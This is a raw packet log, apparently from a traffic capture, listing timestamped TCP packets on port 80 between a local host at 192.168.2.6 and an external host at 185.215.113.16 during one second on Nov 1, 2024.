Nov 1, 2024 00:38:58.070188999 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070192099 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070208073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070218086 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070295095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070311069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070326090 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070338011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070343018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070349932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070358992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070369005 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070384979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070396900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070544004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070559025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070574999 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070589066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070589066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070597887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070605993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070621967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070647955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070676088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070719957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070755959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070776939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070792913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070799112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070808887 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070812941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070832014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070843935 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070861101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070940971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070955992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070967913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070974112 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.070976019 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.070997000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.071016073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.142410994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142429113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142443895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142461061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142523050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.142538071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142553091 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142569065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.142651081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185343027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185369015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185381889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185393095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185405970 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185419083 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185426950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185466051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185481071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185492992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185503960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185517073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185519934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185530901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185549974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185550928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185564995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185576916 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185579062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185595989 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185599089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185622931 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185648918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185736895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185749054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185760021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185772896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185785055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185810089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185858011 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185868025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185909986 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.185941935 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185954094 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185964108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185976028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.185987949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186009884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186117887 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186127901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186137915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186157942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186165094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186171055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186183929 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186212063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186214924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186254978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186271906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186285019 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186295986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186316013 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186337948 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186350107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186402082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186463118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186475039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186486006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186508894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186532974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186537981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186547995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186585903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186604023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186614990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186626911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186642885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186661959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186661959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186692953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186718941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186754942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186759949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186773062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186799049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186810970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186830997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186842918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.186878920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.186992884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187004089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187016010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187027931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187036037 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187041044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187056065 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187084913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187175035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187218904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187576056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187627077 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187693119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187714100 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187724113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187738895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187738895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187753916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187758923 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187767982 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187773943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187783957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187792063 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187807083 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187813997 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187819004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187832117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187843084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187851906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187860012 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187886953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.187958002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187968969 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.187987089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188003063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188011885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188024044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188029051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188036919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188045025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188050032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188061953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188066006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188080072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188085079 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188095093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188108921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188110113 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188122988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188124895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188134909 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188148975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.188150883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188174963 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.188193083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.259392023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259408951 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259465933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.259474993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259522915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.259562969 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259576082 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259588003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.259599924 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.259618998 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.259628057 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302649975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302673101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302685022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302700996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302706957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302715063 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302730083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302759886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302803040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302844048 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302851915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302866936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302889109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302895069 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302902937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302906036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302917004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.302920103 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302932978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.302956104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303035975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303080082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303082943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303092957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303103924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303122997 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303148985 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303188086 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303220034 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303229094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303232908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303247929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303261042 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303278923 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303287983 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303307056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303323030 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303342104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303358078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303417921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303430080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303441048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303459883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303459883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303476095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303478956 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303487062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303503990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303530931 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303603888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303622007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303632021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303647995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303647995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303672075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303698063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303813934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303823948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303838015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303852081 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303860903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303864002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303881884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303886890 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303894997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.303905010 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.303935051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304073095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304083109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304092884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304107904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304116964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304126978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304157972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304168940 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304179907 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304203987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304213047 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304215908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304231882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304239035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304264069 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304295063 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304307938 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304341078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304347992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304357052 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304413080 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304426908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304471016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304478884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304488897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304517984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304517984 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304529905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304553032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304578066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304620028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304632902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304644108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304660082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304682016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304706097 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304717064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304728031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304749012 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304769039 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304872990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304883957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304896116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304915905 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304923058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304935932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304935932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.304963112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.304986000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305155039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305166960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305177927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305191040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305200100 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305207968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305222988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305227041 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305238008 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305246115 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305253983 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305264950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305274010 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305299997 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305418015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305461884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305486917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305504084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305531979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305541039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305541992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305555105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305566072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305587053 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305593014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305619955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.305757999 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305768967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.305779934 CET	80	49948	185.215.113.16	192.168.2.6
